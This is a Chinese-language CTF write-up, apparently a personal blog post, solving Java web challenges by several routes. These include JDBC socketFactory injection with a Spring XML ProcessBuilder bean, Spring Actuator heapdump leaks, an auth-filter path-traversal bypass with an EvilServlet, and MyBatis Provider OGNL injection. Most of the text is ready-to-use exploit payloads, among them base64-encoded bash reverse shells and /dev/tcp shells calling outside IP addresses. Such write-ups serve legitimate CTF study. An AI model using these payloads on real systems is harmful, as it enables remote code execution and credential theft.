TestConnection
commons-collections-3.2.1.jar
mysql-connector-java-8.0.11.jar
postgresql-42.3.1.jar
public class IndexController {
@RequestMapping({"/"})
public String index() {
return "Hello World!";
}
@RequestMapping({"/testConnection"})
//需要传入参数 drvier url username password
public String testConnection(@RequestParam("driver") String driver, @RequestParam("url") String url, @RequestParam("username") String username, @RequestParam("password") String password) {
try {
Class.forName(driver);
DriverManager.getConnection(url, username, password);
return "success";
} catch (Exception e) {
return e.getMessage();
}
}
}
直接打
首先开一个http服务,然后一个监听反弹shell端口
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>{echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzguMTMwLjExNi4yNDcvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}</value>
</list>
</constructor-arg>
</bean>
</beans>
driver=jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://8.130.116.247:9999/aaa.xml 记得进行url编码,随机写一个账号密码即可
最后环境变量找到flagenv
/testConnection?driver=org.postgresql.Driver&url=jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://host.docker.internal:8000/poc.xml&username=123&password=123
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>{echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzguMTMwLjExNi4yNDcvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}</value>
</list>
</constructor-arg>
</bean>
</beans>
bash -i >&/dev/tcp/8.130.116.247/7777 0>&1
spring
打开一个actuator,根据以往的知识可以知道是一种信息泄露
接下来就是看如何让value明文显示
/api-docs
/v2/api-docs
/swagger-ui.html
/api.html
/sw/swagger-ui.html
/api/swagger-ui.html
/template/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
/mappings
/actuator/mappings
/metrics
/actuator/metrics
/beans
/actuator/beans
/configprops
/actuator/configprops
/actuator
/auditevents
/autoconfig
/caches
/conditions
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/health
/actuator/conditions
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/scheduledtasks
/actuator/httptrace
/actuator/jolokia
/actuator/hystrix.stream
访问/actuator/heapdump 导出jvm中的堆内存信息,通过一定的查询得到app.password的明文
通过利用工具https://github.com/whwlsfb/JDumpSpider
本地环境测试
本地搭建了一个springboot的环境,发现也会出现泄露问题
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
在1.x版本下,设置语句如下:
management.context-path=/manage
此时端点的访问方式就变为了:
/manage/dump
/manage/autoconfig
在2.x版本,设置语句如下:
management.endpoints.web.base-path=/manage
auth_bypass_web
题目附件给了 AuthFilter.java 和 DownloadServlet.java
首先是一个黑名单,主要过滤了路径穿越和任意下载
public class AuthFilter implements Filter {
public void init(FilterConfig filterConfig) {
}
public void destroy() {
}
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) req;
if (request.getRequestURI().contains("..")) {
resp.getWriter().write("blacklist");
} else if (request.getRequestURI().startsWith("/download")) {
resp.getWriter().write("unauthorized access");
} else {
chain.doFilter(req, resp);
}
}
}
DownloadServlet
public class DownloadServlet extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String currentPath = getServletContext().getRealPath("/assets/");
Object fileNameParameter = req.getParameter("filename");
if (fileNameParameter != null) {
String fileName = (String) fileNameParameter;
resp.setHeader("Content-Disposition", "attachment;filename=" + fileName);
FileInputStream input = new FileInputStream(currentPath + fileName);
Throwable th = null;
try {
byte[] buffer = new byte[4096];
while (input.read(buffer) != -1) {
resp.getOutputStream().write(buffer);
}
if (input == null) {
return;
}
if (0 != 0) {
try {
input.close();
} catch (Throwable th2) {
th.addSuppressed(th2);
}
} else {
input.close();
}
} catch (Throwable th3) {
if (input != null) {
if (0 != 0) {
try {
input.close();
} catch (Throwable th4) {
th.addSuppressed(th4);
}
} else {
input.close();
}
}
throw th3;
}
} else {
resp.setContentType("text/html");
resp.getWriter().write("<a href=\"/download?filename=avatar.jpg\">avatar.jpg</a>");
}
}
}
就给了这么两个java类其他没任何消息,肯定是绕过(太明显了
if (request.getRequestURI().contains("..")) {
getRequestURL() 并不会进行url解码
也不会去掉多余字符
既然能访问到aa说明没问题,正常访问路由应该为 /JYcxk/aa所以都是可以正常访问的,那么就可以绕过
然后可以通过 //download?filename=avatar.jpg
下载文件, 但是无法读取 /flag
(提示 Permission denied), 那么很明显需要 RCE
根据题目描述, 网站使用 war 打包,直接读取web.xml配置文件
看本地文件的相对位置
http://8.130.116.247:50042//download?filename=%2e%2e/WEB-INF/classes/com/example/demo/IndexServlet.class
根据web.xml路由的配置,直接下载class文件即可
如果要直接下载部署的war包,需要先知道war包的名字
EvilServlet
直接反弹shell即可,没任何过滤
public class EvilServlet extends HttpServlet {
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
try {
Runtime.getRuntime().exec(req.getParameter("Evil_Cmd_Arguments_fe37627fed78"));
resp.getWriter().write("success");
} catch (Exception e) {
resp.getWriter().write("error");
}
}
}
mybtais前置知识
其实就是在动态SQL中,可以解析OGNL表达式,前提需要有sql注入
一般而言,使用mybatis有两种配置,一种是通过xml文件来配置,另一种通过注解的方式来配置
1、xml文件
虽然bind标签value属性是可以传值的
<if test="name != null and name !=''">
<bind name="likename" value="name" />
name like #{likename}
</if>
但是,这里进行OGNL表达式解析的时候是有顺序 的,假设name:${@java.lang.Math@min(4,10)}
首先利用OGNL表达式解析器解析value的值,此时值单纯为name变量,即:
<bind name="likename" value="name" />
然后得到值,${@java.lang.Math@min(4,10)},然后将其赋给bind标签value属性中的name变量,即:
<bind name="likename" value="${@java.lang.Math@min(4,10)}" />
这也就导致我们无法令传入的变量的值被OGNL表达式解析器来进行解析,也就无法实现OGNL表达式注入
2、注解
springboot使我们摆脱了各种xml配置的烦恼,对应的,mybatis也为springboot提供了对应的注解来满足动态SQL的功能,主要有以下注解:
- @Insert
- @Update
- @Delete
- @Select
- @InsertProvider
- @SelectProvider
- @UpdateProvider
- @DeleteProvider
@Insert、@Update、@Delete和@Select这四个注解对应的是数据库增删改查功能,每一个都有一个对应的Provider注解标识
带有Provider注解和不带有Provider注解的区别是,使用Provider需要自己实现查询类,并且使用动态SQL也简单很多。
举个例子,如果@Update注解想要实现动态SQL,那么一定要使用 **
@Update({"<script>",
"update Author",
" <set>",
" <if test='username != null'>username=#{username},</if>",
" <if test='password != null'>password=#{password},</if>",
" <if test='email != null'>email=#{email},</if>",
" <if test='bio != null'>bio=#{bio}</if>",
" </set>",
"where id=#{id}",
"</script>"})
void updateAuthorValues(Author author);
可以看到,可以引用xml中的标签,然后来使用动态SQL
但这样的方式很不美观,而且也有点鸡肋(还不如直接用xml来配置了)
因此有了各类Provider,如:@SelectProvider
我们定义一个查询方法为:
@SelectProvider(type = UserDaoProvider.class, method = "findTeacherByName")
Teacher findUserByName(Map<String, Object> map);
SelectProvider 调用的方法为findTeacherByName,如下:
public String findTeacherByName(Map<String, Object> map) {
String name = (String) map.get("name");
String s = new SQL() {
{
SELECT("id,email");
FROM("Teacher");
if(map.get("id")!=null)
WHERE("name=#{name}");
}
}.toString();
return s;
}
}
可以看到,这种方式没有任何标签,但是同样实现了动态SQL
从上面可以发现如果我们传入name的值为:*${@java.lang.Math@min(4,10)}
其流程是这样的:
首先生成了SQL语句为:
select id,email from Teacher where name = ${@java.lang.Math@min(4,10)};
经过一系列的传递,相当于生成(实际上并未生成,直接解析的)了一个如下的XML文件:
<select id="findTeacherByName" resultMap="BaseResultMap" parameterType="com.example.mybatis.entity.Teacher">
select id,email from Teacher where name = ${@java.lang.Math@min(4,10)};
</select>
然后进行OGNL表达式解析:
<select id="findTeacherByName" resultMap="BaseResultMap" parameterType="com.example.mybatis.entity.Teacher">
select id,email from Teacher where name = '4';
</select>
解析完毕以后得到name的变量,传入SQL中:
select id,email from Teacher where name = '4';
这也就导致了OGNL表达式注入
影响范围 mybatis-spring-boot-starter >=2.0.1(mybatis-spring-boot-starter组件从2.0.1版本开始支持Provider动态SQL)
例题分析 YourBatis
jackson-2.13.5
mybatis-spring-3.5.3
根据题目可知漏洞发生在mybatis上
最后拼接上了sql语句,和上面给出的例子几乎一样,导致sql注入进而ongl解析
${@java.lang.Runtime@getRuntime().exec("open /System/Applications/Calculator.app")}
${@java.lang.Runtime@getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}")}
直接打入上面的命令是不对的因为出现了{},会被解析为另一个OGNL表达式的开头和结尾,需要用到java类中自带的base64解码
${@java.lang.Runtime@getRuntime().exec(new java.lang.String(@java.util.Base64@getDecoder().decode('YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzg0TGpFek1DNHhNVFl1TWpRM0x6YzNOemNnTUQ0bU1RPT19fHtiYXNlNjQsLWR9fHtiYXNoLC1pfQo=')))}
如果未响应,建议换成自己的热点(校园网会拦截qaq😅
例题分析2022 D3CTF ezsql
hibernate-validator-5.3.6.Final.jar
mybatis-3.5.9.jar
Hibernate Validator是Hibernate提供的一个开源框架,使用注解方式非常方便实现服务端的数据校验。
找类的时候发现这个参数可控,只需要看从哪调用的即可
把16进制字符进行转义,并且里面不能包括new
${@java.lang.Runtime@getRuntime().exec(new java.lang.String(@java.util.Base64@getDecoder().decode('YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzg0TGpFek1DNHhNVFl1TWpRM0x6YzNOemNnTUQ0bU1RPT19fHtiYXNlNjQsLWR9fHtiYXNoLC1pfQo=')))}
相当于禁用了上面的 new,
/vote/getDetailedVoteById?vid=3) union select null,"${#this.getClass().forName('java.lang.Runtime').getMethods()[14].invoke(#this.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(),'bash,-c,bash -i >& /dev/tcp/121.5.169.223/39876 0>&1'.split(','))}",null,null,null--+
这里用split是因为引号转义太麻烦了
这样隔开就不用引号了
这里是jdk8的版本
this.getClass().forName("java.lang.Runtime").getMethods()[12].invoke(this.getClass().forName("java.lang.Runtime").getMethods()[6].invoke(this.getClass().forName("java.lang.Runtime")),"calc");
this.getClass().forName("java.lang.Runtime").getMethods()[12].invoke(this.getClass().forName("java.lang.Runtime").getMethods()[6].invoke(this.getClass().forName("java.lang.Runtime")),"curl http://8.130.116.247:7777");
本地测了是可以通的,看的别的师傅不太一样和我的
本地环境是jdk8直接起jar包起不来,意识到payload不同是因为jdk版本差异导致
不需要sql注入,因为会直接ongl解析所以直接写就行,然后需要全部url编码
总结:
二种payload
${@java.lang.Runtime@getRuntime().exec(new java.lang.String(@java.util.Base64@getDecoder().decode('YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzg0TGpFek1DNHhNVFl1TWpRM0x6YzNOemNnTUQ0bU1RPT19fHtiYXNlNjQsLWR9fHtiYXNoLC1pfQo=')))}
${#this.getClass().forName('java.lang.Runtime').getMethods()[14].invoke(#this.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(),'bash,-c,bash -i >& /dev/tcp/121.5.169.223/39876 0>&1'.split(','))}
TestConnection(2用mysql反序列化打)
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。